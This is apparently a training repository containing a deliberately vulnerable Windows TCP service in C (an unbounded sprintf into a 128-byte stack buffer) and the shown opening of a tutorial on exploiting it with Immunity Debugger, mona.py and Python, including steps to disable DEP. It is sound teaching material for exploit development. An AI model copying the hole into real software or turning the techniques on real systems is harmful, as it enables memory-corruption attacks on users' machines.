http://stackoverflow.com/a/6090610 88 | // in a loop, we recv() off the network, handle complete lines, then shift the remainder down 89 | char recvbuf[RECVBUFSIZE] = { '\0' }; 90 | size_t recvbufUsed = 0; 91 | const char* msgPleaseSendShorterLines = "Please send shorter lines."; 92 | const char* msgBye = "Bye!"; 93 | while (1) { 94 | // establish how much room we have left in recvbuf 95 | size_t buf_remain = sizeof(recvbuf) - recvbufUsed; 96 | 97 | // check that we still have room for another recv 98 | if (buf_remain < 1) { 99 | printf("[!] recvbuf exhausted. Giving up.\n"); 100 | send(clientSocket, msgPleaseSendShorterLines, strlen(msgPleaseSendShorterLines), 0); 101 | break; 102 | } 103 | 104 | // recv() up to buf_remain bytes, put them after pending data in recvbuf 105 | int result = recv(clientSocket, (void*)&recvbuf[recvbufUsed], buf_remain, 0); 106 | 107 | if (result == 0) { 108 | printf("Client disconnected.\n"); 109 | break; 110 | } 111 | else if (result < 0) { 112 | printf("recv() failed: %d.\n", WSAGetLastError()); 113 | break; 114 | } 115 | 116 | printf("Bytes received: %d\n", result); 117 | 118 | // we're now using more of recvbuf than we were before 119 | recvbufUsed += result; 120 | 121 | // starting at recvbuf[0] look for newlines, pass each found line off to doResponse() 122 | char *line_start = recvbuf; 123 | char *line_end; 124 | while ((line_end = (char*)memchr((void*)line_start, '\n', recvbufUsed - (line_start - recvbuf))) != 0) 125 | { 126 | // we found a line 127 | 128 | // null-terminate it 129 | *line_end = '\0'; 130 | 131 | // if the user is done with us, disconnect them 132 | if (strcmp(line_start, "exit") == 0) { 133 | printf("Client requested exit.\n"); 134 | send(clientSocket, msgBye, strlen(msgBye), 0); 135 | closesocket(clientSocket); 136 | return; 137 | } 138 | 139 | // process the line 140 | doResponse(clientSocket, line_start); 141 | 142 | // continue looking for lines from after the now-processed line 143 | line_start = line_end + 1; 144 | } 145 | 146 | // having (perhaps) processed some data we are (perhaps) using less of recvbuf than we were before 147 | recvbufUsed -= (line_start - recvbuf); 148 | 149 | // slide unprocessed data down to start of recvbuf 150 | memmove_s(recvbuf, sizeof(recvbuf), line_start, recvbufUsed); 151 | } 152 | closesocket(clientSocket); 153 | return; 154 | } 155 | 156 | int __cdecl doResponse(SOCKET clientSocket, char *clientName) { 157 | char response[128]; 158 | 159 | // Build response 160 | sprintf(response, "Hello %s!!!\n", clientName); 161 | 162 | // Send response to the client 163 | int result = send(clientSocket, response, strlen(response), 0); 164 | if (result == SOCKET_ERROR) { 165 | printf("send failed: %d\n", WSAGetLastError()); 166 | closesocket(clientSocket); 167 | return -1; 168 | } 169 | printf("Bytes sent: %d\n", result); 170 | return 0; 171 | } -------------------------------------------------------------------------------- /dostackbufferoverflowgood/dostackbufferoverflowgood/dostackbufferoverflowgood.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | void __cdecl handleConnection(void *param); 4 | int __cdecl doResponse(SOCKET clientSocket, char *clientName); 5 | int __cdecl main(); -------------------------------------------------------------------------------- /dostackbufferoverflowgood/dostackbufferoverflowgood/dostackbufferoverflowgood.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {132FFFDD-803B-4E53-A6A6-83FAB5DE3FB6} 23 | Win32Proj 24 | dostackbufferoverflowgood 25 | 8.1 26 | 27 | 28 | 29 | Application 30 | true 31 | v140 32 | Unicode 33 | 34 | 35 | Application 36 | false 37 | v140 38 | true 39 | Unicode 40 | 41 | 42 | Application 43 | true 44 | v140 45 | Unicode 46 | 47 | 48 | Application 49 | false 50 | v140 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | true 74 | 75 | 76 | true 77 | 78 | 79 | false 80 | 81 | 82 | false 83 | 84 | 85 | 86 | 87 | 88 | Level3 89 | Disabled 90 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS 91 | false 92 | true 93 | 94 | 95 | Console 96 | true 97 | false 98 | 99 | 100 | 101 | 102 | 103 | 104 | Level3 105 | Disabled 106 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 107 | 108 | 109 | Console 110 | true 111 | 112 | 113 | 114 | 115 | Level4 116 | 117 | 118 | Disabled 119 | true 120 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS 121 | false 122 | true 123 | Disabled 124 | CompileAsC 125 | true 126 | 127 | 128 | Console 129 | true 130 | false 131 | true 132 | false 133 | 0x08040000 134 | false 135 | 136 | 137 | 138 | 139 | Level3 140 | 141 | 142 | MaxSpeed 143 | true 144 | true 145 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 146 | 147 | 148 | Console 149 | true 150 | true 151 | true 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | -------------------------------------------------------------------------------- /dostackbufferoverflowgood/dostackbufferoverflowgood/dostackbufferoverflowgood.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | 32 | 33 | Source Files 34 | 35 | 36 | Source Files 37 | 38 | 39 | -------------------------------------------------------------------------------- /dostackbufferoverflowgood/dostackbufferoverflowgood/stdafx.c: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // dostackbufferoverflowgood.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /dostackbufferoverflowgood/dostackbufferoverflowgood/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | 10 | #include 11 | #include 12 | 13 | 14 | 15 | // winsock 16 | #include 17 | #include 18 | #pragma comment(lib, "Ws2_32.lib") 19 | 20 | // threads 21 | #include -------------------------------------------------------------------------------- /dostackbufferoverflowgood/dostackbufferoverflowgood/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/cc4-by.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/cc4-by.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/ida_doresponse_call.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/ida_doresponse_call.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/ida_doresponse_call_linear.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/ida_doresponse_call_linear.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/ida_doresponse_disassembly.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/ida_doresponse_disassembly.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/ida_doresponse_disassembly_head.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/ida_doresponse_disassembly_head.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/ida_doresponse_disassembly_tail.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/ida_doresponse_disassembly_tail.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/ida_doresponse_xrefs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/ida_doresponse_xrefs.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/ida_doubleclick_do_response.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/ida_doubleclick_do_response.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/ida_handleconnection_graph_overview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/ida_handleconnection_graph_overview.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/ida_loadfile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/ida_loadfile.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/immdbg_0x39654138.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/immdbg_0x39654138.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/immdbg_0x41414141.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/immdbg_0x41414141.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/immdbg_badchars.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/immdbg_badchars.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/immdbg_badchars_follow_in_dump.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/immdbg_badchars_follow_in_dump.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/immdbg_badchars_mona_compare.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/immdbg_badchars_mona_compare.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/immdbg_breakpoint_call.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/immdbg_breakpoint_call.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/immdbg_breakpoints.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/immdbg_breakpoints.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/immdbg_calc_popped.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/immdbg_calc_popped.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/immdbg_eip_control.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/immdbg_eip_control.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/immdbg_findmsp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/immdbg_findmsp.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/immdbg_int3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/immdbg_int3.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/immdbg_interface.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/immdbg_interface.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/immdbg_mona_jmp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/immdbg_mona_jmp.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/immdbg_mona_jmp_follow_in_disassembler.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/immdbg_mona_jmp_follow_in_disassembler.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/immdbg_restartprocess.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/immdbg_restartprocess.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/immdbg_startprocess.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/immdbg_startprocess.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_images/immdbg_test_mona.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_images/immdbg_test_mona.png -------------------------------------------------------------------------------- /dostackbufferoverflowgood_slides.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_slides.pdf -------------------------------------------------------------------------------- /dostackbufferoverflowgood_slides.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood_slides.pptx -------------------------------------------------------------------------------- /dostackbufferoverflowgood_tutorial.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "Do Stack Buffer Overflow Good" 3 | author: "@justinsteven" 4 | papersize: a4 5 | abstract: pop calc, not alert(1) 6 | colorlinks: true 7 | toc: true 8 | --- 9 | 10 | \begin{center} 11 | Last updated 2020-01-06 12 | 13 | \url{https://github.com/justinsteven/dostackbufferoverflowgood} 14 | \end{center} 15 | 16 | \newpage 17 | # Intro 18 | 19 | This is a tutorial for `dostackbufferoverflowgood.exe`, a vulnerable Windows 20 | binary. 21 | 22 | By the end of the tutorial, you should be on your way to feeling comfortable 23 | with the concept of stack buffer overflows and using them for Saved Return 24 | Pointer overwrite exploitation. 25 | 26 | Exploit development is a journey, and it takes some time to get used to the 27 | concepts. Don't beat yourself up if anything is unclear, I probably sucked at 28 | explaining it. Take a breather, read some other tutorials, watch some videos 29 | and read some exploit writeups. Different authors have different ways of 30 | explaining things, and someone else's approach might work better for you. Keep 31 | at it. 32 | 33 | This tutorial doesn't cover DEP, ASLR or Stack Canaries. These are modern 34 | compile-time protections that make exploit development tricky. We need to party 35 | like it's 1999 before we can tackle the new stuff. 36 | 37 | Please don't simply copy/paste my Python code. Typing it out yourself is the 38 | best way to learn. If you don't like how I've done something, do it your way. 39 | Add your own special flavour (e.g. use `"$"` characters or a repeating 40 | `"lololol"` pattern instead of a bunch of `"A"`'s). *Make it your own*. 41 | 42 | Embrace your typos and mistakes. If something doesn't seem quite right with 43 | your exploit, try to reason about what you're seeing in the debugger and where 44 | you might have gone wrong. 45 | 46 | If I have said anything overly dumb, or you have suggestions for things that 47 | might be useful, please reach out to me. Pull requests gratefully accepted. 48 | 49 | Thanks to the following champions: 50 | 51 | * OJ, Pipes and Menztrual for QA 52 | * timkent, jburger, xens, lesydimitri and KrE80r for various fixes 53 | * Mitchell Moser () for support with the move to Python 3 54 | 55 | This a living document. Keep an eye on the GitHub repo for updates. 56 | 57 | ![This work is licensed under a Creative Commons Attribution 4.0 International 58 | License 59 | ](dostackbufferoverflowgood_images/cc4-by.png) 60 | 61 | Please feel free to use this material however you wish, all I ask is that you 62 | attribute me as the author. If you improve the material, I would love for you 63 | to send me your changes to be included in the document. 64 | 65 | Happy hacking! 66 | 67 | Justin 68 | 69 | \newpage 70 | # A quick note on Python 2 vs. Python 3 71 | 72 | This guide was written in 2016 and the code it teaches you to write is for 73 | Python 2. In 2018, the Python developers announced that development and 74 | support of Python 2 would be finished, no foolin' this time, on January 1st 75 | 2020. 76 | 77 | This means that as of 2020, the core Python 2 interpreter will be EOL (End of 78 | Life) and will receive no functional or security updates. We should expect 79 | that Linux distributions will eventually remove Python 2 from their software 80 | repositories. 81 | 82 | This has an interesting effect on exploit development using Python. 83 | 84 | * Python 2 (Released in 2000) uses plain ASCII strings everywhere by default 85 | * Python 3 (Released in 2008) uses either Unicode strings or "bytes" by default 86 | 87 | This makes it easier and more natural for Python 3 developers to handle 88 | non-English characters. On the other hand, if all you want to do is write an 89 | exploit that throws plain old 8-bit bytes and ASCII characters around, it can 90 | feel like Python 3 gets in your way a little bit. In the best case scenario, 91 | Python 3 will raise errors and force you to be more specific about how you 92 | want it to handle your strings. In the worst case, Python 3 could assume what 93 | you meant, encode things in a way you didn't intend, and could cause your 94 | exploit to behave incorrectly. 95 | 96 | There *should not* be an issue with using Python 2 for simple exploits such 97 | as the one in this tutorial. We're not using any third-party libraries, and 98 | what we're doing with core Python 2 functionality *shouldn't* bump up against 99 | any functional bugs or security vulnerabilities. 100 | 101 | This guide was written to help you exploit your first stack buffer overflow 102 | exploit. You'll have enough new concepts on your mind without needing to 103 | worry about Python 3's preference for bytes. And so, this guide **is 104 | intentionally written for Python 2**. 105 | 106 | Some general suggestions: 107 | 108 | * When following this guide, I encourage you to use **Python 2**, especially if this is your first rodeo 109 | * When writing simple exploits in the future, it's up to you to decide whether you use the simpler, out-of-support, Python 2 - or if you use the more modern Python 3 110 | * When writing more complicated or general-purpose code, I encourage you to use **Python 3** 111 | * If, in the future, Python 2 becomes a hassle to run (I expect Linux distributions will eventually remove it from software repositories), it's up to you to decide whether you struggle with getting a copy of Python 2, or whether you make the leap to Python 3 112 | * If you decide to use Python 3, then Appendix A of this document may help you to make the needed adjustments 113 | 114 | \newpage 115 | # Get set up 116 | 117 | Go and grab yourself the target and some tools. 118 | 119 | **The target:** 120 | 121 | * `dostackbufferoverflowgood.exe` () 122 | 123 | You'll want to either allow `dostackbufferoverflowgood.exe` (TCP 31337) to be 124 | accessed through the Windows Firewall, or turn the Windows Firewall off 125 | completely. 126 | 127 | You might also need the Visual C Runtime installed. See 128 | for details. 129 | Be sure to install the x86 version of the runtime, even if you have an x64 130 | installation of Windows. The runtime architecture must match that of 131 | `dostackbufferoverflowgood.exe` itself. 132 | 133 | **The tools:** 134 | 135 | * Windows 136 | * Immunity Debugger () 137 | * `mona.py` () 138 | * Optional: IDA () 139 | * GNU/Linux with Python and Metasploit Framework 140 | 141 | You'll need a Windows box to run the binary and Immunity Debugger. Windows 7 142 | x64 SP1 is known to work well. I'd suggest running it in a VM, because running 143 | intentionally vulnerable binaries on a machine you care about is a bad idea. 144 | 145 | You might need to adjust Windows' DEP policy to prevent DEP from getting in 146 | your way. `dostackbufferoverflow.exe` is compiled so that it opts out of DEP, 147 | but Windows might decide to force DEP upon it anyway. Pop an elevated `cmd.exe` 148 | (Run as Administrator) and run `bcdedit /enum {current}`. It should tell you 149 | that `nx` is `OptIn`. If it shows as `AlwaysOn` or you just want to be sure 150 | that DEP is off, run `bcdedit /set {current} nx AlwaysOff` and reboot. 151 | 152 | Install Immunity Debugger and allow it to install Python for you. 153 | 154 | Follow the instructions that come with `mona.py` to jam it in to Immunity. Test 155 | that it's properly installed by punching `"!mona"` in to the command input box 156 | at the bottom of Immunity - it should spit back a bunch of help text in the 157 | `"Log data"` window. 158 | 159 | ![Testing `mona.py`](dostackbufferoverflowgood_images/immdbg_test_mona.png) 160 | 161 | If you want to follow along with the optional `"Examine the binary"` 162 | chapter, install IDA. 163 | 164 | You'll probably want a remote "attacker" box running some flavour of GNU/Linux 165 | that can see the Windows box. You could launch your attack from the Windows box 166 | itself, but it's much more exciting to do so remotely. Your attacker box will 167 | need to have Metasploit and Python installed. Kali will work just fine. You 168 | could probably make do with Metasploit on macOS if you are so inclined. 169 | 170 | For help with installing Metasploit on Windows or macOS, see 171 | 172 | 173 | \newpage 174 | # Review the source code 175 | 176 | ```{ .c .numberLines} 177 | // dostackbufferoverflowgood.c 178 | 179 | int __cdecl main() { 180 | // SNIP (network socket setup) 181 | while (1) { 182 | // SNIP (Accept connection as clientSocket) 183 | // SNIP run handleConnection() in a thread to handle the connection 184 | } 185 | } 186 | void __cdecl handleConnection(void *param) { 187 | SOCKET clientSocket = (SOCKET)param; 188 | char recvbuf[58623] = { '\0' }; 189 | // SNIP 190 | while (1) { 191 | // SNIP recv() from the socket into recvbuf 192 | // SNIP for each newline-delimited "chunk" of recvbuf (pointed 193 | // to by line_start) do: 194 | doResponse(clientSocket, line_start); 195 | } 196 | } 197 | int __cdecl doResponse(SOCKET clientSocket, char *clientName) { 198 | char response[128]; 199 | 200 | // Build response 201 | sprintf(response, "Hello %s!!!\n", clientName); 202 | 203 | // Send response to the client 204 | int result = send(clientSocket, response, strlen(response), 0); 205 | 206 | // SNIP – some error handling for send() 207 | return 0; 208 | } 209 | ``` 210 | 211 | `main()` sets up the network socket (TCP port 31337) then kicks off an infinite 212 | loop that accepts network connections and spawns `handleConnection()` threads 213 | to handle them. 214 | 215 | `handleConnection()` continuously reads data sent by a remote client over the 216 | network into `recvbuf`. For every line that ends in `\n` it calls 217 | `doResponse()`. 218 | 219 | `doResponse()` calls `sprintf()` to build a response to be sent to the client. 220 | Herein lies our stack buffer overflow vulnerability. `sprintf()` prepares the 221 | string `"Hello !!!\n"` and in the place of `` it inserts 222 | what the client sent over the network. The resulting string is stored in the 223 | ASCII string stack buffer called `response`. `response` has been allocated as a 224 | 128 character (128 byte) buffer, but the remote client is able to make the 225 | `` be up to about 58,000 characters long. By sending an overly long 226 | line over the network to the service, the client is able to induce a stack 227 | buffer overflow within the service and cause memory corruption on the stack. 228 | 229 | \newpage 230 | # Start the binary within Immunity Debugger 231 | 232 | Use `File -> Open` or drag and drop `dostackbufferoverflowgood.exe` on to a 233 | running instance of Immunity Debugger. 234 | 235 | A terminal running `dostackbufferoverflowgood.exe` (which is a Windows 236 | command-line application) should pop up in the background and Immunity should 237 | fill out with a bunch of information. 238 | 239 | Immunity's interface can be daunting at first, with many floating windows to 240 | keep track of. The most important is the CPU window, shown below. You'll 241 | understand the purpose of and begin to use the other windows with time. 242 | 243 | ![Immunity Debugger User 244 | Interface](dostackbufferoverflowgood_images/immdbg_interface.png) 245 | 246 | * Execution controls - allows the process to be restarted, closed, run, paused, stepped into, stepped over, traced into, traced over, executed until return, and for the disassembler to be navigated to a particular memory address. 247 | * Disassembler - shows the contents of the binary file as assembly instructions. The next instruction to be executed by the CPU is highlighted. 248 | * Registers - shows the current state of the CPU registers, the most important ones being `EAX` through `EIP` at the top of the pane. 249 | * Dump - shows the contents of the process' memory space as a binary dump. Can be useful for examining regions of memory. 250 | * Stack - shows the current state of the stack, with the top of the stack (which grows towards lower memory addresses) highlighted at the top. 251 | * Command input - used to interact with Immunity and plugins in a command-driven fashion. 252 | * Status - shows various status messages (e.g. information about crashes) 253 | * Process state - shows whether the process is paused or running. 254 | 255 | \newpage 256 | 257 | Processes, when started from within Immunity Debugger, begin in a Paused state, 258 | often with an additional breakpoint set on the program's entry point. This is 259 | to allow you to set breakpoints before the process runs away on you. We don't 260 | need to set any breakpoints right away, so go ahead and bang on the `"Run 261 | Program"` (hotkey `F9`) button a couple of times until the process state shows 262 | `Running`. 263 | 264 | !["Run Program" 265 | button](dostackbufferoverflowgood_images/immdbg_startprocess.png) 266 | 267 | \framebox{ 268 | \parbox{\textwidth}{ 269 | \textbf{Pro tip}: F9 is the hotkey for "Run Program". Running, pausing, 270 | stepping into and stepping over program instructions will be the 271 | bread-and-butter of your debugging life, so get used to the hotkeys for 272 | maximum hacking ability! 273 | } 274 | } 275 | 276 | \newpage 277 | # Remotely interact with the running process 278 | 279 | Use Netcat (`nc`) on a remote GNU/Linux machine to take the service, which 280 | listens on TCP port 31337, for a quick spin. The IP address of my lab machine 281 | running the service is `172.17.24.132` but yours will probably be different. 282 | 283 | ``` 284 | % nc 172.17.24.132 31337 285 | CrikeyCon 286 | Hello CrikeyCon!!! 287 | asdf 288 | Hello asdf!!! 289 | hjkl; 290 | Hello hjkl;!!! 291 | ^C 292 | ``` 293 | 294 | `nc` is great for doing basic interaction with a service over the network, 295 | but it's too limited for us. For example, we're going to need to send 296 | characters that don't appear on a standard keyboard. 297 | 298 | Let's put together a small Python script to connect to the service, send some 299 | text, print the response and disconnect. We can then upgrade our Python 300 | script as we go. 301 | 302 | ```{.python .numberLines} 303 | #!/usr/bin/env python2 304 | import socket 305 | 306 | # set up the IP and port we're connecting to 307 | RHOST = "172.17.24.132" 308 | RPORT = 31337 309 | 310 | # create a TCP connection (socket) 311 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 312 | s.connect((RHOST, RPORT)) 313 | 314 | # build a happy little message followed by a newline 315 | buf = "" 316 | buf += "Python Script" 317 | buf += "\n" 318 | 319 | # send the happy little message down the socket 320 | s.send(buf) 321 | 322 | # print out what we sent 323 | print "Sent: {0}".format(buf) 324 | 325 | # receive some data from the socket 326 | data = s.recv(1024) 327 | 328 | # print out what we received 329 | print "Received: {0}".format(data) 330 | ``` 331 | 332 | \newpage 333 | 334 | Making this executable and running it, we get: 335 | 336 | ``` 337 | % chmod u+x exploit.py 338 | % ./exploit.py 339 | Sent: Python Script 340 | 341 | Received: Hello Python Script!!! 342 | ``` 343 | 344 | --- 345 | 346 | Neat. 347 | 348 | \newpage 349 | # Optional: Examine the binary 350 | 351 | This chapter is optional, but highly recommended. At the very least you should 352 | read it, but don't be afraid to follow along. IDA isn't going to bite, and the 353 | free version will work just fine for what we need. 354 | 355 | Before we start chucking data at the service, we should understand: 356 | 357 | * How the service works at a low level; and 358 | * How function `CALL` and `RET`urn mechanics work at a low level 359 | 360 | While we explore how the service works, we'll make note of the address of: 361 | 362 | * The `CALL` to `doResponse()` from `handleConnection()`; and 363 | * The function epilogue and subsequent `RET`urn from `doResponse()` to `handleConnection()` 364 | 365 | --- 366 | 367 | Spoilers: 368 | 369 | * The `CALL` to `doResponse()` is at `0x0804168D` 370 | * The function epilogue of `doResponse()` is at `0x08041794` 371 | 372 | --- 373 | 374 | A `CALL` is used when one function wants to invoke another function (or itself 375 | in the case of recursive code) with the intention of having that `CALL`ed 376 | function `RET`urn to the next line of code in the calling function. 377 | 378 | A function "prologue" generally appears at the start of every function and 379 | performs some setup in anticipation of that function's execution. 380 | 381 | A function "epilogue" generally appears at the end of every function and 382 | performs some tear-down of the function before `RET`urning to the function from 383 | which it was `CALL`ed. 384 | 385 | That is: 386 | 387 | * Function `A()` `CALL`s function `B()` 388 | * Function `B()`'s prologue does some setup 389 | * Function `B()`'s body does something useful 390 | * Function `B()`'s epilogue does some tear-down and `RET`urns to function `A()` 391 | 392 | \newpage 393 | 394 | IDA, or the Interactive DisAssembler, is a disassembler produced by Hex-Rays. 395 | It's a fantastic tool that's easy enough to get started with, but owing to its 396 | sheer power is difficult to master. Don't let that stand in the way of giving 397 | it a go. The best way to learn how to use IDA, to learn how programs work at a 398 | very low level, and to examine the inner workings of executable files, is to 399 | start using IDA. 400 | 401 | A disassembler is a tool that takes executable code (Windows `.exe.` and `.dll` 402 | files, Linux `ELF` files, drivers, mobile apps, console games, and much more), 403 | looks at the bits and bytes that comprise its machine instructions, and 404 | "disassembles" them back in to assembly code. For example: 405 | 406 | * `"\x90"` becomes `"NOP"` 407 | * `"\x31\xC0"` becomes `"XOR EAX,EAX"` 408 | * `"\x68\xEF\xBE\xAD\xDE"` becomes `"PUSH 0xDEADBEEF"` 409 | 410 | A decompiler, 